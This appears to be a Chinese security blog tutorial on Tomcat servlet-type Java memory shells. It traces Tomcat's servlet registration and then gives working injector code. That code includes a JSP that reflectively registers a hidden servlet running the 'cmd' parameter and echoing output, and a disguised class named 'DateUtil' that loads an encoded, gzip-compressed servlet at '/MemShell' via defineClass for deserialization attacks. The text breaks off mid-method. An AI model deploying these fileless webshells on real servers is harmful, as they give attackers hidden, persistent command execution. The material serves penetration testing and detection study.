Java 内存马

exp3n5ive Lv1

本质上就是动态注册路由,接收参数 -> 执行命令 -> 返回结果

相比于传统 WebShell,无文件落地更隐蔽,也适用于不能解析 jsp 的环境

Tomcat Servlet 型内存马

Servlet 注册流程

先看正常注册一个 Servlet 的流程,传统 Servlet 是通过 web.xml 注册的,在 3.0 之后支持了使用注解注册

通过 xml 配置 Servlet

打开 IDEA 新建项目(以前配置过 Tomcat 服务器,就不写了):

这里注意选择 Web 应用程序,这样会自动添加 Servlet 依赖

选择 Java EE 8,创建

打开项目后能够看到 IDEA 以及给出了示例代码:

它是基于注解配置的,我们换成 xml 配置的便于后面理解

删去这个注解,然后修改 src\main\webapp\WEB-INF 下面的 web.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>helloServlet</servlet-name>
<servlet-class>com.servlet.HelloServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>helloServlet</servlet-name>
<url-pattern>/hello-servlet</url-pattern>
</servlet-mapping>

</web-app>

分析注册流程

刚才的 xml 文件中配置了我们的 Servlet 的一些信息,比如 Servlet 名称、全限定类名、路径

从开发者视角看,我们是通过 编写 Servlet 类 + 编写配置文件 才注册了一个 Servlet

但是从攻击者视角,我们想要实现动态注册一个 Servlet 来当 webshell,肯定是没法像开发者那样去编辑服务端的环境的。在 java 漏洞利用中我们要么是命令执行要么是代码执行。那么就只能看一下底层具体是怎么处理的,尝试通过代码执行直接实现一个 Servlet


我们知道 Servlet 的生命周期如下:

在 init() 下断点,然后看堆栈可以知道这个 Servlet 是怎么初始化的

堆栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
init:10, HelloServlet (com.servlet)
init:143, GenericServlet (javax.servlet)
initServlet:989, StandardWrapper (org.apache.catalina.core)
loadServlet:946, StandardWrapper (org.apache.catalina.core)
allocate:664, StandardWrapper (org.apache.catalina.core)
invoke:116, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:482, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:656, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:397, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:935, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1826, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1189, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:658, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

这里要在 pom.xml 中导入 Tomcat 依赖,否则没法在 IDEA 调试 Tomcat 的代码,版本写自己的 Tomcat 版本

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.107</version>
</dependency>

但是 Tomcat 加载这个 Servlet 的流程在执行 init() 之前就已经发生了,我们在这里是看不到 Tomcat 是如何加载 Servlet 的 , 所以我们只能提前下好断点然后运行 Tomcat

我们在这个堆栈中找到 org.apache.catalina.core.StandardWrapper,然后在它的 setServletClass 方法下断:

结束后重新 debug(如果是重启一定要选重启服务器),从堆栈找到上一层的 org.apache.catalina.startup.ContextConfig#configureContext

这里接收一个 webxml 参数,能够看到里面就是我们在 web.xml 中写的内容

看一下 configureContext 这个方法都干了什么:

这里涉及到了 Tomcat 的知识

关于 Tomcat 详细处理流程可以看 https://blog.csdn.net/u010883443/article/details/107463782

可以将一个 Context 简单理解成一个 Webapp

前面几行是从 web.xml 获取一些参数来确认标准、版本之类的,不重要

接下来写了一个 for 循环,读取 web.xml 中的 中的参数,然后添加到 context:

我们的为空,所以和注册 Servlet 没什么关系,不重要,继续往下看

依旧是获取从 web.xml 获取配置然后设置到 context 上

第一个参数对应于 web.xml 文件中的 元素。当它被启用 (true) 时,服务器将自动拒绝任何没有被安全约束明确覆盖的 HTTP 方法

比如下面这种情况

1
2
3
4
5
6
7
8
9
<security-constraint>
<web-resource-collection>
<web-resource-name>My Protected Page</web-resource-name>
<url-pattern>/admin/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
...
</security-constraint>

没有使用明确指出的请求方法的请求就会被拒绝,不重要

第二个参数对应于 web.xml 文件中的 ,它的作用是给 Webapp 起一个别名,便于管理员在 Tomcat 的后台进行管理,不重要

第三个参数对应于 web.xml 文件中的 ,用来告诉servlet/JSP容器,Web容器中部署的应用程序适合在分布式环境下运行,不重要

继续往下看:

第一个 EJB 是 Enterprise JavaBeans 的缩写,不重要

第二个 ,不重要

第三个 ,环境变量,不重要

第四个 ,配置报错页面的信息,不重要

继续往下:

配置 Filter,后面学 Filter 内存马再看,现在暂时没用

继续

上面的 设置 jsp 配置的,不重要

下面是 ,后面学 Listener 内存马再看

编码,不重要

不重要

将一个消息目的地(例如 JMS 队列或主题)的 JNDI 名称和类型声明给 Web 容器 不重要

第一个 检查 web.xml 文件中的 <web-app> 标签是否设置了 metadata-complete="true" 属性,是的话就忽略注解, 这样做通常是为了加快应用启动速度,或者强制所有配置都集中在XML文件中,便于集中管理。

第二个 <mime-mapping> 配置 mime 映射,不重要

第三个 <request-character-encoding> 设置请求的编码,不重要

第四个 <resource-env-ref>声明对一个资源环境条目的引用,不重要

第五个<resource-ref> 标签,并将它们添加到 context 的命名资源中,不重要

第六个 设置响应编码,不重要

第七个 <security-constraint> 标签。对于每个约束,它首先检查 <security-role> 中是否包含了特殊的 ROLE_ALL_AUTHENTICATED_USERS 角色,如果包含,则进行特殊处理,然后将这个安全约束添加到 context 中。 不重要

第八个 <security-role> 标签,把这些角色名称添加到 context 中,不重要

第九个 <service-ref> 标签,并将它们添加到 context 的命名资源中,不重要

到后面终于是 Servlet 相关的了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored

// jsp-file gets passed to the JSP Servlet as an init-param

if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String,String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if (null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if (null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if (null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(), maxFileSize,
maxRequestSize, fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}
for (Entry<String,String> entry : webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

首先遍历 web.xml 中的 ServletDef,然后新建一个 Wrapper:

这个 Wrapper 就是后面用来封装 Servlet 的,很重要,再放一遍之前的图:

然后进行了一些判断:

第一个是设置加载的

当 LoadOnStartup 值为0或者大于0时,表示容器在应用启动时就加载这个 servlet,数字越小优先级越高;

当 LoadOnStartup 是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载

所以这个其实对我们意义不大,加不加都行

第二个是设置启用还是禁用,我们不用管,让它默认为 null 就行

接着给 Wrapper 设置名字:

这个重要

然后是设置初始参数:

也不是必要的,继续看

这是在配置 Servlet 的安全设置 ,也不重要,继续:

这一句非常关键,它将要注册的 Servlet 的 class 对象配置到了 Wrapper 里面

后面是获取多部分配置,不是必要的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 获取Servlet的多部分配置定义
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
// 初始化多部分配置参数,默认值为-1表示无限制
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

// 解析并设置最大文件大小配置
if (null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
// 解析并设置最大请求大小配置
if (null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
// 解析并设置文件大小阈值配置
if (null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

// 根据解析的配置创建多部分配置元素并设置到包装器中
wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(), maxFileSize,
maxRequestSize, fileSizeThreshold));
}

继续,配置异步支持配置,不重要:

然后设置是否重写,也不重要

但是下一句很重要,它将 Wrapper 添加到 Context 了

最后配置映射:

总结一下我们一共经历了哪些步骤

1、创建 Wrapper

1
Wrapper wrapper = context.createWrapper();

2、给 Wrapper 设置名字

1
wrapper.setName(servlet.getServletName());

3、给 Wrapper 设置 Servlet 的 class 类

1
wrapper.setServletClass(servlet.getServletClass());

4、把 Wrapper 放到 Context 里

1
context.addChild(wrapper);

5、配置映射

(如果是 Tomcat7 的话这里应该是 addServletMapping)

1
context.addServletMappingDecoded(entry.getKey(), entry.getValue());

补充:

还有一步,就是要先实例化我们的 Servlet 然后调用 wrapper.setServlet(servlet)

设置 Servlet 对象

1
wrapper.setServlet(servlet)

整个流程其实可以参考 org.apache.catalina.core.ApplicationContext#addServlet(java.lang.String, java.lang.String, javax.servlet.Servlet, java.util.Map<java.lang.String,java.lang.String>) 中的写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet,
Map<String,String> initParams) throws IllegalStateException {

if (servletName == null || servletName.isEmpty()) {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", servletName));
}

// TODO Spec breaking enhancement to ignore this restriction
checkState("applicationContext.addServlet.ise");

Wrapper wrapper = (Wrapper) context.findChild(servletName);

// Assume a 'complete' ServletRegistration is one that has a class and
// a name
if (wrapper == null) {
wrapper = context.createWrapper();
wrapper.setName(servletName);
context.addChild(wrapper);
} else {
if (wrapper.getName() != null && wrapper.getServletClass() != null) {
if (wrapper.isOverridable()) {
wrapper.setOverridable(false);
} else {
return null;
}
}
}

ServletSecurity annotation = null;
if (servlet == null) {
wrapper.setServletClass(servletClass);
Class<?> clazz = Introspection.loadClass(context, servletClass);
if (clazz != null) {
annotation = clazz.getAnnotation(ServletSecurity.class);
}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
if (context.wasCreatedDynamicServlet(servlet)) {
annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
}
}

if (initParams != null) {
for (Map.Entry<String,String> initParam : initParams.entrySet()) {
wrapper.addInitParameter(initParam.getKey(), initParam.getValue());
}
}

ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}
return registration;
}

编写内存马

首先我们要先编写一个 Servlet

1
2
3
4
5
6
7
8
9
10
HttpServlet servlet = new HttpServlet() {
public void init() {}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
}

public void destroy() {}
};

然后创建 Wrapper,这里需要调用 StandardContext 的 createWrapper 方法,所以需要先用反射获取 StandardContext

网上很多文章都是用 jsp 直接获取当前的 request 对象然后反射从 servletContext 中拿 applicationContext,再从 applicationContext 中反射拿 standardContext,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>MemoryShellInjectDemo</title>
</head>
<body>
<%
try {
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String servletURL = "/" + getRandomString();
String servletName = "Servlet" + getRandomString();
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) {}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd}).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
// wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletURL, servletName);
response.getWriter().write("[+] Success!!!<br><br>[*] ServletURL:&nbsp;&nbsp;&nbsp;&nbsp;" + servletURL + "<br><br>[*] ServletName:&nbsp;&nbsp;&nbsp;&nbsp;" + servletName + "<br><br>[*] shellURL:&nbsp;&nbsp;&nbsp;&nbsp;http://localhost:8080/zhandian1" + servletURL + "?cmd=echo 世界,你好!");
} catch (Exception e) {
String errorMessage = e.getMessage();
response.setCharacterEncoding("UTF-8");
PrintWriter outError = response.getWriter();
outError.println("Error: " + errorMessage);
outError.flush();
outError.close();
}
%>
</body>
</html>
<%!
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
%>

但是我们这里想用的是反序列化时单纯的代码执行去实现内存马注入,没法直接拿到 request 对象,所以要麻烦一点,这里直接拿 MemShellPart 里的用了

通过遍历JVM中的所有线程,利用反射机制从Tomcat容器的内部数据结构中提取Web应用的上下文(Context)信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
package org.apache.http.client.NGeWa;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;

public class DateUtil {
public DateUtil() {
try {
List var1 = this.getContext();
Iterator var2 = var1.iterator();

while(var2.hasNext()) {
Object var3 = var2.next();
Object var4 = this.getShell(var3);
this.inject(var3, var4);
}
} catch (Exception var5) {
}

}

public String getClassName() {
return "org.apache.http.web.handlers.MEJoa.ErrorServlet";
}

public String getBase64String() {
return "H4sIAAAAAAAA/4VWWXgbVxX+ryRrZFlOHGWrmnRJIYm8Ko1j11ZCqeWFuLWTULsJjtnGoytrYnlGnRnZVgmUFtoCZYcWwlLK1rCTBJDthgZTIIWyQ9n35YHv45EXngjnzoyVkSU3+RzNvfece+5/lv/c+/z/nr4EYD/+yZDQjemEnJeVLE9kLSufmOdTiayspXPcMBOjg3fqcmLQMHRjjBtzOW5JYAxbT8lzciIna9OJ/pxsmiO6nOaGBL8rWkiYjnaivKuOwT/DiwzRkaubxyxD1aYPMjRlOnvSaX7rVCbdpchKd28I9QyBPNmmfcpsOoQIDWbTXQw3Dw51dvf09KX69vV2dx0YGOrq3D/QP7Sv87aezqF9Q71DIWxkCGe5wHREnuU0uYfwtPdNc80KIcrQ4AiPy7kCSUPFASVTTA3PhbCVIXhI1VTrdjot3nw8gu24LowAYgzXx0dqun3QUdsh1HYySMJ1VSG7dzgbqoJxN7+3wE3r4HpSM69rJiezDDfWVBlcUHjeUnVNws0Mm21Uqp4YPuoR3LIqsOGOZw19Xp7KcQkvZdhdadVO+2H6qcQnYQ/DnmupOmAlxCPYhFA9fGhhqJ/m1mE7xGQhXp3w5uqlCNrQ3oC96Ihgi2NoH9XFWj0J+ylhiq5ZsqpRbeyoSEpWpjIl8JpC4TsZwQF0hdGJbqoAQjTGTZNiw3BLvHlkXb9sHYLTg14BJxlBgwPnEEOErByTDaopixsR3O4gfjkJpmSTdx8Y4Iqepsxvq+XzZCqCPqTCZKqfgS1QqcQnUyft9UEMifVXRCA5hw1X5X4tRAl3OYD6LDpgqmDxa8f66NQprljk3CiONGAERysiTEVCOZPwSoZGpWAYxBZniWFL3GvGWSUzYxgP427cQ7QnIP2UFb5geajBEKvY6GVNBCfwKrF7QnhOxGlI84yqcVuHYTvFZni4ajNtezVeI3a8lrw3K7zfW8P7aucFW18PWbg/xbDzxRgqgVy/4UVZKiHD4JtMSchWxNI5TMIp14DgZ6po8T7DkItHC1a+YBFCLs9KyIUxK/rLxjWuStApKBqfH9ZMS9ZER6lMQzmb98IIIw+KWpCAyzkabI3X8JwYUcBcGDOYJxJZuhOjtWbLhCziPqH7BofPJwzVEhndvqpMHh0jTVdA+m/EmxrQjPsj2OAU8QO00yxMme4x2+KVCS0f9Ba8VdD0IU8v81iW8AhD3bwYr/FrtcIpo2/HO8J4Gx6liFl6OdB0hcRtfr0L7xZRfk+ZqYPaKlMnUzUxvQ/vF1X2AXHkeqgfE6gfp8zlBdoxS1Zmxg1Z4RF8WNwau3Gmogl7uvNH6XrpGxwL4eOuxkJCMYp5S0/0q/ms8PkT5AlF/Wrum9fl9pq9BO2T+FQYT+LTDDdVKJh5rlAFKwa37uLFMZpJ+CyVAh0kYmZGcFYEqhOfcwhYO9bb8YUwnsIXKbriqhSqw46myalvqFYxQdZt1S/jKwLIV6nXpfUhVZNzVKMi5CIp53FBCL/mEqejYKm5jpSdnhC+QVsyunt/775GX1ttDYtYEkRYdvq9k2MjhItOBY9yK6uny/dyhbXJKmte+wbP5IhBCccCHfQMLomDvsVw3XpaEr5NvqranD5DHvTW4ONkDYrWovd38N0wnsX3nES5/XFzdWMl1efwfUHZHzBs4Lb34y7JQ/ghFbtZ0DpmVVPpSPWNDa6SgAL0Y9E57EkIP3WC51xlJPs5ydLckf2y2kZZ71fELUcvVchkxMpv6K22zhOIroqMOm0/cZrsm9mzSkVbdT9XbiPvrm4a1jLUJxHCn0SRUdc2dOJ9I6kK5ljuGy/Qb9O90SbpqJwfF48h8rTMSRO7iO4BkLeoQ724h2n8V3om+xCmeYNn3kjzDZ55E803eeabab7FM99GFph4SdLv32hlE30JMupaFnH9eYh/QrzDFUdpi4++wZbWRdywKr8RN9EqyVk3QQzT2n9aV7D3SNsKmpOB9gtoXUbCh8t4oTy+gFtLuO0Mnm1fBgUtWUeSly3jDh+WMJAMtsSC/hIOJ4Oxugu4cxnHfEhKMek57LEXLsI3sYTjJZxcxCSpxoKXSnjdMhQ/dQn9ImYnFqElQzFpBfkSrGR9rD4WKmHhRKy+3fnEgs63hNMnYoFlvJkRpAf9TU0lPFzCO92lFrHrvQFCsoQPXl0mTaH4IVo5i3CyLlZXwkfOUyAa8C/8m5orw98pCM0IXMFphCT4JNB1TC/EvRKaJYxIUCXiAv6LGbqedwfxDxFTiuEuvIQ205PLiSc4rQboG48+sYTPHGnfeQZS4CwCdRfx1AQFooTPR59YxJdKONfeWsLXz9n5EIe3wncFGxGwD1eZRN1M/FwhkXeNBk8y+3hRXx+j6qDbxT38ITrcL0BES0t4OvpN/zMimiuMvjMlXB6hA5+P/ihAqxP+qDpGolaazEz4W2h8eQWd50aiP6GdlIHRNqH7M69u2xpdu+zoZUsgHA+CYEWJZl5w9Eh1wT3qgptxwP2iJrgX3AM7q8Gp9Ef4fu3F91uvelu1ug3xIA55IZ6uhMjoXvmdC7HRZhglxOHJqtIu+v97/MFl1AaXcD52zmXTH3GfK9voyvzRP68K/1JmaqM9L1vH/wGOIPb3Og8AAA==";
}

public String getUrlPattern() {
return "/MemShell";
}

public List<Object> getContext() throws Exception {
ArrayList var1 = new ArrayList();
Set var2 = Thread.getAllStackTraces().keySet();
Iterator var3 = var2.iterator();

while(true) {
while(var3.hasNext()) {
Thread var4 = (Thread)var3.next();
if (var4.getName().contains("ContainerBackgroundProcessor")) {
Map var5 = (Map)getFieldValue(getFieldValue(getFieldValue(var4, "target"), "this$0"), "children");
Iterator var6 = var5.values().iterator();

while(var6.hasNext()) {
Object var7 = var6.next();
Map var8 = (Map)getFieldValue(var7, "children");
var1.addAll(var8.values());
}
} else if (var4.getContextClassLoader() != null && (var4.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || var4.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
var1.add(getFieldValue(getFieldValue(var4.getContextClassLoader(), "resources"), "context"));
}
}

return var1;
}
}

private ClassLoader getWebAppClassLoader(Object var1) {
try {
return (ClassLoader)invokeMethod(var1, "getClassLoader", (Class[])null, (Object[])null);
} catch (Exception var4) {
Object var3 = invokeMethod(var1, "getLoader", (Class[])null, (Object[])null);
return (ClassLoader)invokeMethod(var3, "getClassLoader", (Class[])null, (Object[])null);
}
}

private Object getShell(Object var1) throws Exception {
ClassLoader var2 = this.getWebAppClassLoader(var1);

try {
return var2.loadClass(this.getClassName()).newInstance();
} catch (Exception var7) {
byte[] var4 = gzipDecompress(decodeBase64(this.getBase64String()));
Method var5 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var5.setAccessible(true);
Class var6 = (Class)var5.invoke(var2, var4, 0, var4.length);
return var6.newInstance();
}
}

public void inject(Object var1, Object var2) throws Exception {
PrintStream var10000;
String var10001;
if (this.isInjected(var1)) {
var10000 = System.out;
var10001 = "servlet already injected";
} else {
ClassLoader var3 = var1.getClass().getClassLoader();
Class var4 = var3.loadClass("org.apache.catalina.Container");
Object var5 = invokeMethod(var1, "createWrapper", (Class[])null, (Object[])null);
invokeMethod(var5, "setName", new Class[]{String.class}, new Object[]{this.getClassName()});
invokeMethod(var5, "setLoadOnStartup", new Class[]{Integer.TYPE}, new Object[]{1});
setFieldValue(var5, "instance", var2);
invokeMethod(var5, "setServletClass", new Class[]{String.class}, new Object[]{this.getClassName()});
invokeMethod(var1, "addChild", new Class[]{var4}, new Object[]{var5});

try {
invokeMethod(var1, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{this.getUrlPattern(), this.getClassName()});
} catch (Exception var7) {
invokeMethod(var1, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{this.getUrlPattern(), this.getClassName(), false});
}

this.support56Inject(var1, var5);
var10000 = System.out;
var10001 = "servlet inject success";
}
}

public boolean isInjected(Object var1) throws Exception {
Map var2 = (Map)getFieldValue(var1, "servletMappings");
Collection var3 = var2.values();
Iterator var4 = var3.iterator();

String var5;
do {
if (!var4.hasNext()) {
return false;
}

var5 = (String)var4.next();
} while(!var5.equals(this.getClassName()));

return true;
}

private void support56Inject(Object var1, Object var2) throws Exception {
ClassLoader var3 = var1.getClass().getClassLoader();
Class var4 = var3.loadClass("org.apache.catalina.util.ServerInfo");
String var5 = (String)invokeMethod(var4, "getServerNumber", (Class[])null, (Object[])null);
if (var5.startsWith("5") || var5.startsWith("6")) {
Object var6 = getFieldValue(getFieldValue(getFieldValue(getFieldValue(var1, "parent"), "parent"), "service"), "connectors");
int var7 = Array.getLength(var6);

for(int var8 = 0; var8 < var7; ++var8) {
Object var9 = Array.get(var6, var8);
String var10 = (String)getFieldValue(var9, "protocolHandlerClassName");
if (var10.contains("Http")) {
Object var11 = getFieldValue(getFieldValue(Array.get(getFieldValue(getFieldValue(var9, "mapper"), "hosts"), 0), "contextList"), "contexts");
int var12 = Array.getLength(var11);

for(int var13 = 0; var13 < var12; ++var13) {
Object var14 = Array.get(var11, var13);
if (getFieldValue(var14, "object") == var1) {
Class var15 = var3.loadClass("org.apache.tomcat.util.http.mapper.Mapper");
Class var16 = var3.loadClass("org.apache.tomcat.util.http.mapper.Mapper$Wrapper");
Constructor var17 = var16.getDeclaredConstructors()[0];
var17.setAccessible(true);
Object var18 = var17.newInstance();
setFieldValue(var18, "object", var2);
setFieldValue(var18, "jspWildCard", false);
setFieldValue(var18, "name", this.getUrlPattern());
Object var19 = getFieldValue(var14, "exactWrappers");
int var20 = Array.getLength(var19);
Object var21 = Array.newInstance(var16, var20 + 1);
Class var22 = var3.loadClass("org.apache.tomcat.util.http.mapper.Mapper$MapElement");
Class var23 = Array.newInstance(var22, 0).getClass();
invokeMethod(var15, "insertMap", new Class[]{var23, var23, var22}, new Object[]{var19, var21, var18});
setFieldValue(var14, "exactWrappers", var21);
}
}
}
}

}
}

public static byte[] decodeBase64(String var0) throws Exception {
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var2 = var1.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])var2.getClass().getMethod("decode", String.class).invoke(var2, var0));
} catch (Exception var3) {
var1 = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])var1.getMethod("decodeBuffer", String.class).invoke(var1.newInstance(), var0));
}
}

public static byte[] gzipDecompress(byte[] var0) throws IOException {
ByteArrayOutputStream var1 = new ByteArrayOutputStream();
GZIPInputStream var2 = null;

try {
var2 = new GZIPInputStream(new ByteArrayInputStream(var0));
byte[] var3 = new byte[4096];

int var4;
while((var4 = var2.read(var3)) > 0) {
var1.write(var3, 0, var4);
}

byte[] var5 = var1.toByteArray();
return var5;
} finally {
if (var2 != null) {
var2.close();
}

var1.close();
}
}

public static Object getFieldValue(Object var0, String var1) throws Exception {
Field var2 = getField(var0, var1);
var2.setAccessible(true);
return var2.get(var0);
}

public static Field getField(Object var0, String var1) throws NoSuchFieldException {
Class var2 = var0.getClass();

while(var2 != null) {
try {
Field var3 = var2.getDeclaredField(var1);
var3.setAccessible(true);
return var3;
} catch (NoSuchFieldException var4) {
var2 = var2.getSuperclass();
}
}

throw new NoSuchFieldException(var1);
}

public static void setFieldValue(Object var0, String var1, Object var2) throws Exception {
